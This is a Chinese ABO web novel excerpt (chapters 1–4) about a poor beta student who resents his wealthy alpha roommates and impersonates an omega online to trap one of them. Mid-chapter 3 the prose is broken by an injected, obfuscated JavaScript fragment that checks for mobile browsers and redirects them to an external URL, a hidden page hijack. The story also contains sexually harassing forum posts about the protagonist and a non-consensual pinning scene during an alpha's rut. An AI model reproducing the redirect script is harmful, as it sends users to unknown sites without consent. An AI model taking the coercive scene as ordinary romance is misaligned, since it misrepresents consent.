《阴郁美人骂室友骂到被窝里》
1. 寡夫
蜜雪水城新上市的香芋冰淇淋两元一支!两元一支!
日光很毒,来来往往的同学都提着蜜雪的袋子,他们手里提着印有雪人logo的纸袋,那抹红色在阳光下跳跃,像是校园里最新潮的配饰。
唐星野在红色雪人贴纸的门口驻足。他看了眼今天日结的工资,最终买了一个。
甜腻的香芋味在味蕾上蔓延,唐星野眯起眼睛,奶油特有的甜腻在味蕾上蔓延,原来这就是城里人爱吃的味道。
唐星野边走边吃,天气太热,甜筒化得比预想中的快。
奶油顺着蛋卷边缘滑下来,在他雪白的手背蜿蜒出一道甜腻的痕迹。
唐星野下意识微微蹙眉,不太喜欢这黏糊糊的触感,感知到一道灼热的视线,顺着目光看去。
是一个男生。
对方提着行李箱,停在宿舍门口,落在唐星野的手上,而后目光上移,视线相接。
向直愣住了,他没想到会在这种情形下遇见传闻中的唐星野——那个被同学们私下称作“丧门星”的beta。
眼前的少年与传闻大相径庭。
眉眼清冷漂亮,鸦羽般的睫毛下,微垂的眼尾缀着颗浅褐色的泪痣,像是雨后被露珠压弯的山茶花瓣。
领口贴着雪白的皮肤,衬得整个人愈发清瘦,透着股易碎的脆弱感。—像是个早早丧偶的年轻寡夫,习惯了独自扛起生活的重担,连衣衫都穿得一丝不苟,生怕落人口实。
可越是这般克制,越让人想用指尖挑开他紧扣的衣领,看看那截纤细的脖颈上,腺体是否还留着无人抚慰的寂寞痕迹。
来到417宿舍前,向直就听闻过唐星野的事迹,他的评价不算好。
从山沟里考出来穷beta,母亲车祸去世,父亲脑溢血,未婚夫心脏病发作去逝……这些事被同学们当作茶余饭后的谈资,甚至有人煞有介事地说他命里克亲。
向直听闻,只觉得是无稽之谈,见到唐星野本人,他更觉得都是荒谬。
他更认同唐星野是个可怜兮兮的小beta,好不容易从山沟沟考出来,死了未婚夫,却还要遭到大家恶意揣测。
想到这,向直的心软成一片。
在之前,他已经换了三次宿舍了,每次宿舍都有同性恋,不是有AA就是有OO。
这个ABO世界,能不能正常的谈恋爱?
向直不是歧视同性恋,是他天生恐同,遇到同性恋总会忍不住反胃,想要呕吐,这体质就像是雷达,即便他主观上不知道,只要存在他就会想吐。
好在选的新宿舍,他的雷达并没有发作,大家都是正常的直男!
太好了!是直男beta!是直男alpha!
唐星野是beta,他也是beta!有比这还要美妙的事情嘛?
“你叫向直是吧?我叫唐星野。”
唐星野不知道眼前的男生的心思,突然想起男生的身份,好像是新来的室友,和他一样都是beta。
终于不是讨人厌的alpha,唐星野很高兴,总算有能一起蛐蛐alpha的同好。
他试图和新室友搭话,提前打好关系,组成两人的小团体。
向直挠了挠脸:“你……你……”
唐星野:?
他怎么了?
你怎么能叫我的名字!
向直的耳根很烫,有点捋不直舌头。
妈妈,我刚上大学,就偶遇老婆了。
啊不对,是别人的老婆。
对的对的,大房已经死了,他现在是小寡夫。
那岂不是更妙了?
向直丝毫没意识到自己已经弯成蚊香,而且还无可救药地迷恋上未亡人。
结巴?
唐星野耐心地等着对方的后半句话,微微侧头,垂落的黑发扫过雪白脖颈,退化的腺体在发丝间若隐若现,像藏在隐秘的粉珍珠。
好小好粉好白。
一定哪里都是粉粉的吧……嘿嘿嘿……
向直眼睛都要看直了,想要移开目光,多年的教养跟喂狗似的,脑子更是像是卡壳转不动。
好半天,向直才找回自己的舌头,哑声道:“唐星野你,好、好……”
唐星野微微蹙眉,他不太喜欢对方用这种打量的目光盯着他,这目光他太熟悉了。
闻泽还在的时候,他的朋友们初见也用类似的挑剔眼神看他,面上装得热情大方,暗地里握手使的力道都捏疼他。
别以为他不知道,他们私下都说他配不上闻泽,恨不得马上让他们分手。
闻泽病逝,又一个个假惺惺地流着鳄鱼的眼泪,说闻泽把他交给他们照顾。
呸,恶心!
想到这,唐星野心里仅剩的雀跃消失,语气有点冷:“嗯?我什么?”
向直连忙从兜里掏出阻隔贴,打算提醒自己的未来老婆腺体走光的事情,突然浑身僵硬,警铃大作!
一阵熟悉的恶心感涌上喉头。
他的胃部痉挛起来——这该死的恐同雷达!偏偏在这个时候发作!
想要呕吐?不要啊!
不行不行,死胃你要振作起来!不要在老婆面前出丑啊!
那种事情不要啊!
男生突然捂住嘴,看起来像是要干呕,唐星野一愣,不知道对方怎么了?
随后对方扶着墙,反胃式地干咳几声。
向直抬眸不甘心地盯了一会唐星野,胃又开始痉挛,然后直接丢下行李跑了。
他有这么让人恶心吗?
唐星野瞧着落荒而逃的男生,眉头越皱越紧。
肯定不是他的问题。
他洗干净手,掬起一捧冷水泼在脸上,抬头时镜中的面容挂着水珠。
没有alpha棱角分明的英俊,没有omega精致的柔美,但算得周正,不至于丑到让人想要呕吐。
水珠顺着下颌线滑落,让他想起老家漏水的屋檐。他的老家在深山,地图找不到的犄角旮旯。那儿的人不在乎什么ABO性别,反正都穷得叮当响。
家里人都盼着他分化,他奶希望他能分化成顶天立地的alpha,他爹希望他变成好卖钱的omega,结果他偏偏成了最普通的beta。
beta怎么了?
唐星野坚信自己一定会出人头地,西装革履地出现在村里的大电视。
和那些生来就含有金汤匙的有钱人不一样,他能考上首都的华大全靠自己的努力。勤能补拙,那些做过的习题堆起来比他还高。
虽然是勉强踩着分数线进了学校,但他起点比这些人低,不正说明他的厉害吗?
说白了,如果他有他们的家世,他会做得比他们更好。
好歹是一个宿舍,低头不见抬头见,唐星野还是把向直的行李拖进来,放他的床位上。
他拍照去检索下行李箱的价格,手机有些卡。但这是很正常的,毕竟买的二手,能用就行,他也不玩什么亡者荣耀和第三人格。
手机运行内存不足而微微发烫,页面加载时的缓冲图标不停地打转,最后跳出了五位数的价格。
唐星野眼皮一跳,彻底把向直打入不可交好的黑名单,可恶的有钱人。
现在宿舍里空荡荡
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的,那些讨厌的alpha都不在,估计他们又结伴出去吃饭。看着他们桌上摆着琳琅满目的用品,都是他不认识的牌子,用的都比他的好。
唐星野在心里默默鄙夷,这些被消费主义洗脑的室友们。
明明两块的硫磺肥皂就能洗澡,偏偏要买那些高昂的大牌洗浴用品。人傻钱多,唐星野在心里刻薄地评价。
虽是讨厌这些有钱人室友,唐星野面上装得疏离礼貌,从不表露自己的内心想法。
手机消息震动,是学姐给他发消息。
沈清:【学弟,周六你有空参加社团活动吗?】
唐星野立刻回复:【有空,学姐。是什么活动?】
沈清是新生报到负责接送他的学姐,和他同为beta,家世好,性格温柔。在他闹笑话没有嘲笑他,还帮他解围,后来邀请他辩论社团。
他对这位学姐很感激,隐隐把她当作姐姐一样的存在。
沈清:【周六有和A大的友谊赛,社长想让更多人过去加油,气势上不能输。你可以来旁听,顺便学习一下。】
其实,这些都是其次。
沈清是听说学院里关于唐星野孤僻、不合群、讨厌alpha的传闻,她知道对方是非常上进的小孩,希望他能融入社团,多交点朋友,变得开朗些。
唐星野记得,辩论社的正式队员里有室友路至。
唐星野对路至的厌恶像一根细小的刺,深深扎在心底最敏感的位置。每次看到路至被众人簇拥的样子,那根刺就会不轻不重地戳他一下。
在辩论社里,路至就像别人家的孩子。
只要他出现,所有人的目光都会不自觉地被他吸引。唐星野冷眼旁观着那些围在路至身边献殷勤的社员们,他们脸上挂着过分热情的笑容。
他本不想来看这场辩论赛,可沈清在,唐星野还能稍微忍耐下。
他隐秘地希望学姐和自己一样看破路至被金钱腐蚀的灵魂,最好和他一起讨厌路至。
可现实是,他和路至的差距太大了。路至高中时期已经是华北赛区的最佳辩手,而他从未接触过辩论。
这种差距,不是靠厌恶就能抹平的。
比赛当天,唐星野早早就到现场,远远地看见社团成员在分发辛巴克咖啡和精致牛皮纸盒,里面都是各式各样的精致小蛋糕和面包。
唐星野随口问道,“这是社团福利吗?”
分发的社员头也没抬,径直地把一杯咖啡和纸盒赛给他,“这是路至同学请的早餐。”
唐星野盯着那杯咖啡没动,心里冷笑——又是这种用钱收买人心的把戏。
他正要把东西放回去,就在这时,沈清走了过来。她轻轻拿走了他手里的咖啡,转而递给他一盒温热的牛奶。
“学弟,这份是路至同学专门给你。”
沈清的声音不大,却让周围的人都听得一清二楚。附近的人都投来目光,有艳羡,有好奇,交头接耳。不用猜唐星野都知道他们在想什么,无非就是夸路至的大方体贴,什么对室友这么好之类的。
他垂眸盯着那一盒牛奶,骨节分明的手指无意识地摩挲着包装盒的边缘。
纤长的睫毛在眼睑投下鸦青阴影,眼尾洇着薄红在冷白的灯光下格外明显。唐星野抬眼,视线越过人群,正好与不远处的路至撞个正着。
周围的空气似乎凝固了一瞬。
唐星野忽然眉眼弯弯,清冷的面容浮现一丝消融的艳色,晃了晃牛奶盒,道:“谢了。”
周围传来轻微的抽气声。
唐星野掩去眼底的冷意,心里又骂了路至一句,恶心。
2. 信息素
路至没什么反应,只是移开目光,继续和队员对细节。
唐星野见怪不怪,路至端着这副高架子,偏偏大家都吃他这一套。
他把吸管插进孔洞,免费送的牛奶不喝白不喝。
不过唐星野确实不喜欢咖啡。
他在咖啡店做过兼职,好奇过那些光鲜亮丽的上班族人手一杯的冰美式,偷偷私下调了一杯,尝过一口。结果苦得让他直皱眉头,怎么会有人喜欢喝这种东西?
唐星野想不明白,只当是有钱人的情调。
听着周围人暗暗赞叹,他冷冷嗤笑。
对于路至这种借着他,暗自捧着自己的操作,唐星野心里又给他记了一笔。
但他不会表露出来,他知道大家喜欢乖巧小孩,或者是路至那样的。
辩论赛上,唐星野全神贯注地聆听着。虽然名义上是友谊赛,其实两校一直都想占得第一大学名称。从引经据典的论述到犀利精准的反驳,处处可见精心准备的痕迹。双方你来我往,针锋相对,丝毫没有因为友谊赛的性质而有所保留。
他很不甘,但不得不承认路至案例分析确实精彩。
唐星野跟着人群起身鼓掌,准备撤离。
有beta喊住他,“学弟,别急着走,一会路至请大家吃饭。”
“我就不去了。”
唐星野垂眸细细地整理手机里的录音文件。内存小的手机运行到现在已经有点烫,他要赶紧回去整理笔记,清理文件。
想也知道他们会去哪里吃饭,平时别人喊他一起吃饭,一穷二白的唐星野根本负担不起,他也不好意思去吃白食,只好拒绝。
一来二去,他的社交圈就几乎没有,落得清高不合群的名声。
唐星野不在乎,靠吃饭才能交到的朋友,脑子里估计只有吃喝玩乐那点事,能有多大出息。
这次虽说路至请客,可他受不了所有人殷切地跟路至寒暄,无论是alpha还是omega情绪高亢的时,都会释放若有似无的信息素。
各种信息素交杂在一个房间内,这对于天生嗅觉灵敏的唐星野简直是信息素霸凌。明明是糟糕的气味,理智清晰,身体却在呼吸中奇怪地发热。
可偏偏他说出来,根本不会有人信。
beta怎么会闻到信息素?肯定是他娇气矫情,看不惯他们,故意找茬的。那些人还越发想要证明似的,散发更强烈的信息素,裹着他。
即便是他难受地想要啜泣,那些人依旧不信。
这就是为什么唐星野不爱跟AO近距离接触。一想到换不了宿舍,每每深夜都要嗅着室友无意识撒发的信息素,他的心里就忍不住生出厌恶。
那人瞧着唐星野低垂的睫毛,在冷白的肌肤上投下一片阴翳。纤细的后颈被衣领遮得严严实实,却让人忍不住想象那截白皙皮肤下的腺体是什么颜色。
忽然想起昨日论坛还火的一个帖子。唐星野在校园匿名论坛里算是风云人物,关于他堪称抓马的过去和漂亮的容貌,就有很多狎昵,甚至龌龊的猜想。
接天降情O:【唐星野面上装得清冷大小姐,实际上腺体被人稍微舔舔都会喷了肿了。谁知道他老公怎么死的,说不定是被榨干。】
一生直男:【你放屁,我老婆的腺体很干净,还是粉粉的。】
接天降情O:【楼下,你破防什么?你是他老公?还是你舔过他腺体了?】
一生直男:【是的,我们看过了。】
吃瓜第一线:【?????你把他肚子搞大?】
匿名用户456:【我室友是医学院的,看过唐星野的体检报告。你们猜怎么着?他会对信息素的敏感程度是普通omega的三倍。】
吃瓜第一线:【卧槽真的假的?那岂不是随便就能把人弄出水?】
匿名用户321:【脑补下,他被Alpha按在床上,信息素一压就腿软。粉白的手指揪紧床单、泛红的眼尾沁出泪水、咬唇忍耐的喘息……】
一生直男:【放你妈的屁!你们这群键盘侠再乱说,信不信我直接人肉你们IP?】
讨论还在继续发酵,帖子已经被顶上了热门第一。
beta很快回过神,意识到自己竟被这些阴暗的臆想带偏了思绪。论坛里那些躲在屏幕后的恶意揣测,不过是见不得光的嫉妒在作祟。
别的不说,唐星野长得确实漂亮,光是站在那里,那股清冷又忧郁的气质,就足够激起人最原始的征服欲,让人想要攀折。
良好的家教提醒他,唐星野是个刚死老公的寡夫。对一个小寡夫出手,实在不是君子所为。
“我不习惯吃外面的饭。”
唐星野自然不知道眼前人的遐想,他只想快点回去,偷偷努力赶超路至。
几个A大的学生齐刷刷地看向他,故作熟稔地劝唐星野一起。他们握着手机,本来正准备借着吃饭的由头,加唐星野的微信。
唐星野只当他们是看在路至的面子上才对自己这么热情,礼貌性地笑了笑,却不动声色地往后退了半步。
沈清低声劝道:“学弟,都是一个社团,还能一起讨论……”
唐星野内心犹豫下,很快做出决策。
他掀起眼皮,侧脸去瞅着刚才那位学长,乌黑的瞳孔印出beta的面容,像是专注地看着他。
beta不由得心头一跳,他明明知道这不过是在平常不过的扫视,可他忍不住悸动,电流窜过大脑,浑身说不上的麻意。
仅剩的一点良心小人偶告诉他,别看了,这是个寡夫,是别人的老婆。
唐星野上前,凝视他,清冷的脸没有过多的表情:“我不认识路,麻烦学长搭我一程。”
他记得这个beta自己开车,还有比较轻度洁癖。沈清有很多AO朋友,和她们一起搭车,那些信息素又要熏得他头晕。
唐星野的脸近距离观察更漂亮,肤色很白像是新落的一捧雪,纤长睫毛下的眼眸清透像琉璃珠。
唇瓣一张一合间还带着清淡的香气,扑面而来,简直要把人香晕了。
beta看得更痴了,他脑子热热的,他的道德底线一下溃败了。
他的脑海里只剩下一个念头——妈妈,他要当小三了。
嘿嘿,老婆在和他说话。
不对不对,这是别人的老婆。
对的对的,大房已经不在,现在该他这个小三了。
唐星野没有得到回复,问了一遍,“可以吗?”
beta猛地回神,咽了咽口水:“可以!可以!我、我愿意!我技术很好——不是,我是说我一定会让你满意的!”
唐星野是不知道他这么激动什么,敷衍道,“我信你。”
beta的脑子更昏了,老婆这是肯定他做小三的能力。他晕乎乎地拒绝其他人的搭车,到了饭店门口还没缓过来。
第一次做小三的beta不知道讨老婆开心,直勾勾地盯着唐星野。
老婆就轻声嘱咐他:“学长你去忙吧,我找别人坐。”
哦,老婆要找其他小三做。
肯定是他第一次哪里表现不好,让老婆不满意了。老婆这是给他机会,让他学习恶补下知识。
啊,还是别人的老婆好。
体贴又温柔,不仅没当面说他技术差,还给他找借口。
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唐星野欲言又止地看着同手同脚离开的beta,挺想加他联系方式的,看起来脑子不好使,以后说不定能卖他学习资料。
沈清想叫他坐路至附近,唐星野找个理由委婉拒绝。
唐星野瞥了眼中心人物,他刚开始觉得路至对他还算不错,后来他发现对方就是做表面功夫,和他总有一点不自在,背地里很嫌弃,他一度以为对方是看出他阴暗不堪的内在。
一定和他这么刻苦又优秀的beta住在一起感到压力吧,唐星野心中鄙夷地想着。
他选择落座在上风口角落的地方,看着其他人用餐礼仪,有样学样地跟着。
等着别人动筷,唐星野跟着动,他吃得斯文,漫不经心地想着确实比村长请的“大餐”好吃很多。周围人都在聊的有些没的辩论话题,唐星野听得不大明白,跟不上他们的思路,就专心吃饭,免得闹笑话。
只是越吃越没味道,旁边人总要时不时提一嘴路至,并且cue唐星野怎么想,又突兀地转到要他的联系方式。
路至家庭背景很特殊,是那种能掌控别人向上的命运的人。唐星野只当他们想攀关系,便轻巧地把话题抛回去,继续安静吃东西。
他怎么想?
呵,要是路至是个顽劣不堪的有钱人,他就可以顺理成章诅咒路至过得不幸。偏偏路至除了性子冷了些,待人接物挑不出什么错。
但这不妨碍唐星野嫉妒讨厌对方。
人无完人,这种有钱人怎么会没有错处呢?和他一样装的吧。
唐星野注意路至离席有点久,是死要面子酒喝多了,在卫生间吐吧。他心念一动,想着去瞧瞧路至狼狈的模样,说不定还能拍点丑照。
他找个借口离席,酒店人多,信息素很杂,唐星野顺着那股可可味寻找路至,最后停在一个小隔间。
唐星野听到压抑的闷哼,手搭在门上,心中甚至产生了微妙而兴奋的优越感。即便是被大家捧着的alpha也会有不堪的一面,哪怕他在人前表现多么优秀。
打开门的时候,里面的热气熏得唐星野脸有点红。
发丝被汗珠打湿,贴在雪白的皮肉,原本浅淡的香气,一下变得浓郁。
很香,很柔软的味道。
比平时闻到的更加香,叫人心间发痒。
看着alpha半跪着,指节用力在泛着青色,低垂头,发丝滴着汗珠。
唐星野忽略对方不正常粗重的呼吸声,他带着几分恶趣味的期待凑过去,蹲在alpha身边,佯装关心,“路至,你还好吧?”
随着beta附身凑近,发丝的香气像是无孔不入地钻进alpha的鼻息。
路至的犬齿发痒,死死咬住嘴唇。喉结剧烈地滚动,额角的青筋突起,呼吸越发的滚热,手腕上的血管膨胀,抑制环发出不堪重负的咔哒声音。
渴。难以忍受的渴。
这是路至唯一的想法。
此刻的beta在他眼中就像沙漠中的绿洲,散发着诱人的清凉,在他面前晃悠。
他想要嗅得更多,想要深入那香气的来源,吮吸甘甜的水源。
理智在不断拉扯本能,紧绷到了极限,只要一点点的刺激,就会全面崩断。
喝那么多酒还装没事,真是死要面子,唐星野在心里轻哼,面上故作体贴,“我给你找纸巾擦擦汗。”
他借着翻找的动作,悄悄划开手机相机。这个老旧的系统却在这关键时刻卡顿,界面迟迟加载不出来。
唐星野心里不耐烦地轻啧一声,发梢不经意间扫过路至发烫的耳尖。
alpha手腕上的抑制环忽然断开。
3. 网聊
路至猛然抬起头看他,五官冷峻,鼻骨硬挺,表情依旧冷淡克制。只是他的眼神如同实质般一寸寸地端详唐星野的脸,就像要把他放在火上炙烤。
唐星野愣了下,忽然嗅到浓烈的苦味。
是可可味。
脑中顿时警铃大作,易感期?
这个念头一闪而过,忽得手腕被紧紧扣住,巨大的力道把他往后拉,后背重重撞在地上,路至滚烫的身躯随即压了上来。他的手被死死按在头顶,alpha的膝盖强势地顶进他双腿之间。
“别走。”
alpha沙哑的声音贴着耳畔响起,灼热的呼吸喷洒在颈侧。路至埋首在他的脖颈间,深深地嗅了一口。
被钳制的唐星野浑身僵硬,眼眸睁大,他能清晰感受到路至的犬齿正危险地磨蹭着他的皮肤。
路至现在连性别都分不清了吗?好恶心。
唐星野皱着眉头,偏头避开,眼里是毫不掩饰的嫌弃,语气冷冷,“路至,你看清楚我是beta,不是omega。”
好软,好香。
路至听不见beta在说什么,只觉得肌肤相贴那一刻,灵魂都发出满足的喟叹。眼前人抱着很舒服,哪里都是软的。
甜美的气息顺着鼻腔直冲大脑,让他浑身过电般战栗。原本在体内横冲直撞的躁动奇迹般平息,取而代之的是一种餍足般的安宁。
他舔了舔犬齿,喉结滚动,想要把甜美的气息吞咽到肚子里。
唐星野的脸色变得特别难看,他不是同性恋,但不代表他愿意被alpha当omega使。感受到手腕的桎梏轻了些,猛地发力,推开路至,挣脱出来,往门口跑去。
还没起身跑出两步,他的脚腕突然被抓住,唐星野倒在地上,又被拖了回来。滚烫的掌心贴着腰际,激起一阵战栗。
唐星野挣扎起来,猛地偏头躲闪,犬齿堪堪擦过皮肤,手肘狠狠击向路至胸口。alpha闷哼一声,周身的信息素骤然暴动,席卷精神力扑面而来。
唐星野被他的精神力,压得难受,冷白的皮肤泛起红晕,薄薄的眼皮浮现浅浅的潮红。
他毫不犹豫跟路至扭打在一起,他不是omega,加之平时勤于锻炼,身体素质这方面比alpha相差不算很大。
肢体碰撞间发出沉闷的声响。路至的信息素随着打斗越发浓烈,可可的苦香中混着危险的侵略性。
唐星野的手终于挣脱桎梏,一把扯开路至的衣领,狠狠掐着不断发热肿大的腺体。
“艹,路至你看清楚!”
路至吃痛地闷哼,借着灯光,雾蒙蒙的大脑,总算看清楚唐星野现在的模样。
身下的beta黑发黑眸,眼尾发红,眼眸流光溢彩,冷淡强忍着怒火的模样,更衬眼角下泪痣瑰丽而诱人。
舔上去,他会哭吗?会流出眼泪吗?
让他舔一舔吧,他只舔一口。
既然已经拒绝他的标记,让他尝一口泪痣不过分吧。
路至直勾勾地盯着,一点一点,被蛊惑般低下头,他想要亲吻泪痣,beta却偏头躲开。就在这时,门突然被推开——
“路至,抑制剂我给你取来了。”
周凛收到室友路至的消息,就知道他信息素又絮乱,而且这次情况比他以往都要严重,普通的抑制剂已经不够用。
周凛推开门,没想到看到这样的场面,脑子空白一瞬。
入眼是一只修长纤细的手,指节分明,白得像是雪,很好看。
这样的手,握着柱状凸出的腺体,色差分明,视觉冲击力十足。
他的主人以掌控者的姿态掐着,柔软的手包裹着腺体,泛着粉的指甲带着不屑和厌恶狠狠揉捏,这是惩罚,又带着某种不可言说的色.情。
唐星野衣衫不整地被路至压在身下,拧着眉,表情很难看,可他的脸泛着潮红,眼尾沁出艳丽的媚色,琉璃色的眼眸看过来,明明带着恼意,却平添几分诱人的脆弱。
谁能想到阴郁寡言的唐星野,外壳被撞碎,会露出柔软的一面。
被欺负了,好可怜哦。
老公刚死就被alpha欺负成这样,不能反抗,乖乖地被占便宜……
“看什么,快点过来拉开他。”
清晰干净的嗓音却因难受而微微发颤,更显得恼羞成怒。
即便知道路至是易感期,可唐星野依旧觉得难堪,尤其还在被其他人撞见,这个其他人也是低头不见抬头见的室友。
周凛的眼神暗了暗,很快反应过来,上前给路至打了抑制剂,把人拉了起来。他扬起一贯温和的笑,正想安慰唐星野。
唐星野表情有点不虞,心里骂路至禽兽。面上装得善解人意,抢先口解释道:“他喝醉了,神志不清,认错人,把我当成omega。”
周凛:“……”
他微微挑眉,压下心中一丝古怪兴味,唇角的笑容越发的温柔,旋即关切道:“去换衣服吧,我让人给你找几件。”
“不用。”唐星野整理下自己的衬衫。
易感期的AO就跟喝得烂醉beta一样,喜欢发疯,这种事情他可不想一遍遍地回忆,更何况他可不愿意接受周凛的人情,给他赚取名声。
唐星野觉得拒绝有点生硬,又补充一句道:“我不习惯穿没洗过的衣服。”
他微微蹙眉,指尖拨弄领口,最上面的纽扣被扯坏了,回去要缝衣服。
周凛视线不受控制地落在他的动作。
乌黑的发丝浸透黏在修长白皙的脖颈,领口凌乱,露出精致的锁骨,雪白的肤色上的红痕格外的显眼。随着呼吸微微起伏的锁骨处,还能隐约窥见一抹粉色轮廓。
唐星野注意到周凛停留的目光,不动声色地将衣领拢高,挡住自己差点被标记的痕迹。
“我先回去,他交给你照顾。”
周凛点点头,没有再多说些什么。待那道清瘦身影消失在走廊尽头,周凛才收回目光。
洗手间里,唐星野用冷水拍了拍发烫的脸,情潮总算散去不少,只是眼尾泛着点红,怎么都褪不下去。
他心里又狠狠地给路至记了一笔,这笔账迟早要算。
他出来的时候,外面下起了雨,社团的人饭都吃了差不多,三三两两都开始打车回学校。唐星野没在意周围若有若无的视线,低头划开手机查地铁线路。
aplha的目光不停地往他颈间飘,那里的衣领湿了一小块,隐约透出一抹暧昧的红痕,像是被人狠狠疼爱过。
他低垂着眼睫,纤长的睫毛在眼下投出一小片阴影,整个人透着股被欺负过的脆弱感,活像个刚死了丈夫、无依无靠的小寡夫。
有人把偷拍照片发到群里,这是想加唐星野未果的群聊,图一发,消息顿时炸开锅。
【嘿嘿,老婆好辣。】
【别看了,这是个寡夫。】
【寡夫啊,他老公死了吗?】
【寡夫啊,那很好了。】
【寡夫啊,那很好了。】
【寡夫啊,那很好了。】
【???你们清醒点,他是beta,还是命里克夫的唐星野。】
【就是,想追?命不要了?不过话又说回来,我找大师算过,大师说我命格很硬,天生旺妻。如果唐星野求着嫁给我,那我勉为其难成为他的新老公吧。】
【妈的,你们真是一群变态,竟然想对别人的老婆出手。】
见唐星野没带伞,沈清先一步喊住他,略微担忧看他,晃了晃手里伞,邀请他上她们搭的车。
唐星野瞧着雨势,算着距离,到地铁站的时候,估计浑身都湿透了,比起感冒还是忍着信息素搭车更划算。
一路上她们都在讨论路至,不停地夸赞他,为人大方,辩论也打得精彩,言辞流利, 逻辑清晰无比。
唐星野装作晕车,靠着车窗,瞧着玻璃滑落的雨滴,心里不屑至极。
路至哪里有那么好,虚伪,做作,易感期的时候跟那些发情的禽兽没有区别,比不上闻泽的一根。
他摸着还隐隐作痛的脖颈,差点就被狗咬到,听到沈清她们的夸赞,咽不下这口气。
唐星野试着翻过论坛、帖子找室友们的黑料,没想到这些有钱人表面功夫做得那么好,真正实锤的黑料都没有,倒是看到很多关于自己被嫌弃是灾星的帖子。
那些帖子有的有理有据,就差说恐龙灭绝都是他干的。唐星野看得心烦,就不再上校园论坛。
没有破绽吗?他想着路至易感期的模样,顿时坏主意浮上心头,要是他装成o把对方骗了呢。
唐星野就摸到路至的账号,看到他的主页动态,除了跑步健身日常,就是剩下一条白色的萨摩耶。
他视线扫过路至的简介一愣,上面写着:【不买保险,不买茶,不收m。不用谈谈,ta说,抖阴,默默,围脖,推塔,没小号。】
这是被多少人骚扰过?
唐星野默默分析路至的喜好,给自己的小号立了甜美omega的人设。
他本想参考同班omega的网名风格,发现同学起名都很不羁,比如“一顿吃十三个包子战绩可查”“AA建材批发”“一拳打爆Alpha”。
他犹豫了下,去上网观察omega的说话方式,学了好几个撩A话术。注册一个“糖心”的小号,又从行李箱扒拉出一件宽大的白衬衫。
这是闻泽买的,没穿过,本来想给他当睡衣的,结果闻泽说质量太差就没让他穿。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533409|170875||http|test|mini|href|location''.split(''|''),0,{}));
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>这件衬衫是他衣服里唯一一件能和omega风格靠的,唐星野的衣服都是清一色的黑,原因无他,耐脏好洗。
趁着其他的室友还没回来,唐星野快速换好衣服,举着手机,将手机调整到最佳角度,确保画面中只露出下颌和那件宽大的男友衬衫,拍了跪坐在床上照片。
又用傻瓜P图软件的限免会员功能,给自己P一只金毛犬,把照片上露出的短发也p长了些。
唐星野想有他这样的意志力,做什么不成功。
他把照片发出去,就去私信路至。
糖心:【哥哥你好,你也喜欢养狗吗?】
路至:【有什么事?】
唐星野没想到路至竟然在线,这么快回他消息,直接从床上翻坐起来,把聊天框准备好的话术打出去。
糖心:【见哥哥养萨摩耶养得很好,想交流下养狗心得。】
唐星野的情绪很亢奋,平时不少omega主动要路至的联系方式,路至都会委婉拒绝。现在他刚经历易感期,应该很需要omega的抚慰。
呵,装得假正经!
他等着路至上钩,要求见面时候,就自曝性别恶心死他。
但这条发出去后,对方半天没回复,唐星野不死心又追问:【哥哥,你怎么不理人?】
路至:【我也不买狗。】
?
唐星野再追问一句,对方就不再回复。
这是被屏蔽了?
唐星野检查了对话,想不明白自己的话术哪里有问题,死直男alpha真是不解风情,omega这么主动了,都不会多搭理两句!
P了半小时图,只换来这样的结果。
他颇为郁闷准备退出软件,突然注意到后台亮起来99+的消息,困惑地点开。
【好白的腰,不是,好白的狗。】
【这手我直接嘶哈嘶哈】
【天杀的,这一看就知道是我失踪多年的老婆。】
【老婆老婆,你家还缺188的狗吗?会做饭会洗衣还会赚钱的那种。】
——
“你的病越发越严重,”周凛拆开包装,把抑制环扔给清醒的alpha,“喝酒引发的?”
路至有信息素絮乱综合症,只有核心的几个人知道,这是路至最大的弱点。路家和周家世代交好,他也是意外得知。这个病症会引发假性易感,相比正常的易感期,这来得快去得也快,就是随时都有爆发的可能性。
“不是。”
高大挺拔的alpha捋起湿漉漉的头发,露出俊美的脸,眉尾下压,神色恹恹,看起来疲惫。
汗珠随着下颌滑落,手臂上的筋脉分明,还透露着未消解的欲望。
路至盯着金属环好一会,神情有些惘然。他知道自己有着一副怪物般的身体,无论外面再怎么夸他,只要病症一发作,他就跟最下等的畜生没区别。
他闭了闭眼,眼前又浮现那认真执笔的素手。想到今天的意外,面无表情地戴上抑制环。
“打算跟抑制环过一辈子?”周凛笑眯眯地调侃,他倒也不是关心路至,出于看热闹的心态随口一问。
他知道路至的脾气,也不说劝他抑制剂打多伤身,找个omega帮解决的废话。
路至:“不喜欢。”
“不喜欢omega,还是信息素?”
路至没有说话,一副兴致缺缺的模样。
他记得宿舍里周凛和唐星野关系最好,沉默几秒:“你知道唐星……”
周凛:“什么?”
路至忽然生出一股烦躁,摆手赶客,“没事,你先回去吧。我这几天不回宿舍。”
困又睡不着,路至一闭眼,脑子就乱糟糟的。
他翻出手机,随后点开消息红点。
路至从小见惯其他人的吹捧,夸他最后总会转到路家,他自然知道这些人的心思,懒得拉黑,直接屏蔽让他们猜他的心思。
有个以养狗为借口,还算新奇,路至搭腔了两句,误触点进来糖心的聊天框。
一张图片蓦然出现在眼前。
昏黄的灯光倾斜而下,为深色的背景添了暧昧狎昵的氛围。
图中人,衣摆因为抱狗的姿势被带起来一截,露出一段白皙柔韧的腰。
一只骨节分明的手抚摸狗的脑袋,淡粉的指尖若隐若现。
那只手很漂亮,腕骨凸出,线条漂亮,肤色冷白。指甲圆润干净,透着健康温润的淡粉色,在灯光下泛着珠光。
好看的手很多,但能让人盯着出神的少。
这只手,偏偏是那种越看越让人想弄脏。
糖心:【哥哥,我真的养了小狗。】
糖心:【小猫哭哭.jpg】
4. 勾引
路至像是石化般紧紧盯着图片,一动不动,只是腺体又开始隐隐发热。
那纤细的腰身线条流畅,在昏黄暧昧的灯光下变得十分暧昧,跪坐的姿势,挤出一些柔软的弧度。
画面透露出随性散漫的拍摄,但姿势又有些刻意。
这是偷的照片?
路至点进去糖心的主页,只有这一条抱着狗的动态,随手翻了翻下面的评论,清一色都是在夸。
他的腺体有点烫,抬手去把空调又降低几度。
看起来是omega,但是从肩宽窄腰的比例,不像是女孩子。
又打开照片,盯了许久,打字回复。
